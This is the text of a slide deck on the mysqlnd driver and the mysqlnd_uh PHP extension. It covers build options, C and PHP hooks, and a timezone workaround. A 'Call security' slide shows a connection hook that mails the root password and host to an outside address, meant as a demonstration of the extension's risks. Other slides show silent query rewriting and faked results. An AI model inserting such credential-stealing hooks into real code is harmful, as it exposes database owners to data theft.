Mysqlnd uh

mysqlnd_uh

A wild and wacky mysql extension

Who Am I?

• Nathaniel McHugh
• Ibuildings Sheffield
• Zend Certified PHP Developer
• Oracle certified MySQL Developer
• Like writing extensions like databases
• Never do anything useful

What is mysqlnd?

• PHP Extension created by owners of MySQL for PHP to
query MySQL databases

• It is not an alternative to the three MySQL extensions
existing namely, mysql, mysqli and pdo_mysql

• Although it is a PHP extension it exports no new PHP
functions

Libmysql vs mysqlnd

• C Library • PHP Extension
• GPL License • PHP License
• Linked at compile time • Included in PHP source
• Many Failing tests • Fewer failing tests
• May perform better
around buffered queries

How do I get mysqlnd?
The libysql way
--with-mysql[=DIR] --with-mysqli[=DIR] --with-pdo-mysql[=DIR]

e.g. on ubuntu this will be /usr/bin looking for mysql_conﬁg

The mysqlnd way
--with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-
mysql=mysqlnd --with-mysql-sock[=DIR]

Plugin Architecture
• mysqlnd_statistics.c
• mysqlnd.c
• mysqlnd_result.c
• mysqlnd_result_meta.c
• mysqlnd_ps.c
• mysqlnd_net.c
• mysqlnd_wireprotocol.c

How to extend mysqlnd
/* a place to store orginal function table */
struct st_mysqlnd_conn_methods org_methods;

void minit_register_hooks(TSRMLS_D) {
/* active function table */
struct st_mysqlnd_conn_methods * current_methods
= mysqlnd_conn_get_methods();

/* backup original function table */
memcpy(&org_methods, current_methods,
sizeof(struct st_mysqlnd_conn_methods);

/* install new methods */
current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}

MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
const char *query, unsigned int query_len TSRMLS_DC) {

php_printf("my_conn_class::query(query = %s)n", query);

query = "SELECT 'query rewritten' FROM DUAL";
query_len = strlen(query);

return org_methods.query(conn, query, query_len); /* return with call to parent */
}

Real world(ish) use case
Amazon RDS does not give users the SUPER privilege
and so you cannot change the timezone globally

Answer: set the timezone for every connection

mysqlnd_uh to the rescue
<?php
class proxy extends MysqlndUhConnection {
public function connect($res, $host, $user, $passwd, $db, $port, $sock
et, $mysql_flags) {
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $soc
ket, $mysql_flags);
   $query = "SET time_zone = 'Europe/Moscow'";
   parent::query($res, $query);
   return $ret;
}
}

mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("127.0.0.1", "root", "youllNeverGuess", "test");
$result = $mysqli->query("SELECT NOW()");
var_dump(mysqli_fetch_all($result));

Plugin Architecture
• mysqlnd_statistics.c
• mysqlnd.c ✔
• mysqlnd_result.c ✔
• mysqlnd_result_meta.c
• mysqlnd_ps.c ✔
• mysqlnd_net.c
• mysqlnd_wireprotocol.c

Call security
<?php
public function connect($res, $host, $user, $passwd, $db, $port, $so
cket, $mysql_flags) {
    if ('root' == $user) {
           mail('nat@fishtrap.co.uk',
                'Subject stolen root password',
                 "Hey root password on $host is ".
                 "'$passwd' lets steal their data");
    }
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $s
ocket, $mysql_flags);
   return $ret;
}
}
// ...

mysqlnd_uh.enable = 1;

Another example
<?php
class resultProxy extends MysqlndUhResult {

   private $_rows = array();

   public function __construct($rows) {
    $this->_rows = $rows;
  }

  public function fetchInto($res, &$rows, $flags, $extension) {
    if (!empty($this->_rows)) {
      $rows = $this->_rows;
      unset($this->_rows);
    } else {
      $rows = null;
    }
  }
}

  public function query($res, $query) {
    $query = "SELECT 'Hello' AS _msg FROM DUAL";
    return parent::query($res, $query);
  }
}

mysqlnd_uh_set_result_proxy(new resultProxy(range('a', 'm')));
var_dump($mysqli->query("Going to replace this")->fetch_all());

Mysqlnd uh

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